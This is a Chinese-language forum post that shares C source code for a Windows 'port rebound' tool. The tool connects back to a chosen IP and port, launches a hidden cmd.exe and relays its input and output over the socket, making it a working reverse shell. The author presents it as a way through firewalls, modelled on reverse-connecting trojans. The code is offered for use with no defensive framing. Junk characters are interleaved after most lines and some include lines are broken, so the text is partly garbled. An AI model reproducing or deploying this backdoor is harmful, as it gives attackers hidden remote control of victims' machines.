社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4189阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 =0Z^q0.  
`Bw>0%.  
/* ============================== T$p!I RPt  
Rebound port in Windows NT l :e&w(1H  
By wind,2006/7 7+!4pf  
===============================*/ *] H8X=[x  
#include 2U;6sn*e  
#include <OQn |zU\  
S}@J4}*u["  
#pragma comment(lib,"wsock32.lib") kx6AMx!nX  
k/ 6Qwb#  
void OutputShell(); Bu[sSoA  
SOCKET sClient; fl8~*\;Xu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M0+xl+c+  
4f)B@A-  
void main(int argc,char **argv) g4Y1*`}2f  
{ b4 Y<  
WSADATA stWsaData; C`4m#  
int nRet; %rU8^'Gu  
SOCKADDR_IN stSaiClient,stSaiServer; d) i:-#Q  
(gdi 2  
if(argc != 3) >iZ"#1ZL2O  
{ [{}Hk%wlX  
printf("Useage:\n\rRebound DestIP DestPort\n"); fD^$ y 8  
return; 7gX#^YkE+k  
} +v!% z(  
Zb p+b;  
WSAStartup(MAKEWORD(2,2),&stWsaData); RM\A$.5  
K{]9Yo  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zWN<"[agc  
c#-o@`Po  
stSaiClient.sin_family = AF_INET; v- 793pr  
stSaiClient.sin_port = htons(0); 0| a,bwZ  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mE|?0mRA %  
XfYMv38(  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %QYH]DR  
{ n(#|  
printf("Bind Socket Failed!\n"); aR- ?t14  
return; ';>]7oT`  
} h83W;s  
<$ "   
stSaiServer.sin_family = AF_INET; U ]o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zJ"`40V*;  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); No|T#=BZ[  
Kc3BVZ71  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4l2/eh]Hc(  
{ CyR1.|!@  
printf("Connect Error!"); kYW>o}J|  
return; *n"{]tj^>  
} zwLJ|>  
OutputShell(); q(Q$lRj/I-  
} ?RP&XrD  
UrMEL; @g  
void OutputShell() n+'gVEBA  
{ Em<B 9S  
char szBuff[1024]; |~+i=y  
SECURITY_ATTRIBUTES stSecurityAttributes; Oq`CKf  
OSVERSIONINFO stOsversionInfo; [3@Pu.-I+M  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; eYpK!9  
STARTUPINFO stStartupInfo; Z,jR:_ p  
char *szShell; h4 X=d5qd  
PROCESS_INFORMATION stProcessInformation; MWl2;qi  
unsigned long lBytesRead; 4X}.aZO&b  
yhuzjn  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M:PEY*4H  
L?Fb}  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H Q_IQ+  
stSecurityAttributes.lpSecurityDescriptor = 0; ++gWyzD  
stSecurityAttributes.bInheritHandle = TRUE; ^t 2b`n60  
6E)emFkQ  
"mtEjK5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _HAtTW  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z^FJ  
rGn6S &-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \aY<| 7zK  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }wIF$v?M  
stStartupInfo.wShowWindow = SW_HIDE; Os rHA  
stStartupInfo.hStdInput = hReadPipe; vWs#4JoG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {%&!x;%  
59@PY!c>  
GetVersionEx(&stOsversionInfo); CVAX?c{   
2]UwIxzR  
switch(stOsversionInfo.dwPlatformId) r.JM!x8  
{ 83i;:cn  
case 1: Jv8JCu"eky  
szShell = "command.com"; )wM881_!  
break; )w_hbU_Pb&  
default: aA6m5  
szShell = "cmd.exe"; 75"&"*R/*G  
break; {0o ,2]o!:  
} YXlaE=9bn  
<K:L.c!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {Qf/.[  
9<|nJt  
send(sClient,szMsg,77,0); Gf->N `N  
while(1) l:.q1UV  
{ [.Y]f.D  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1C5~GI`  
if(lBytesRead) Y(/y,bJ?jp  
{ k^{}p8;3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); oG$OZTc  
send(sClient,szBuff,lBytesRead,0); >4^,[IO/  
} /* G-\|  
else ]=%oBxWAP  
{ e#<A\?  
lBytesRead=recv(sClient,szBuff,1024,0); MwHxn%  
if(lBytesRead<=0) break; ul&}'jBr  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c D5N'3  
} #trb4c{{5  
} ;uhpo  
Q>yO,H|  
return; BGrV,h^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五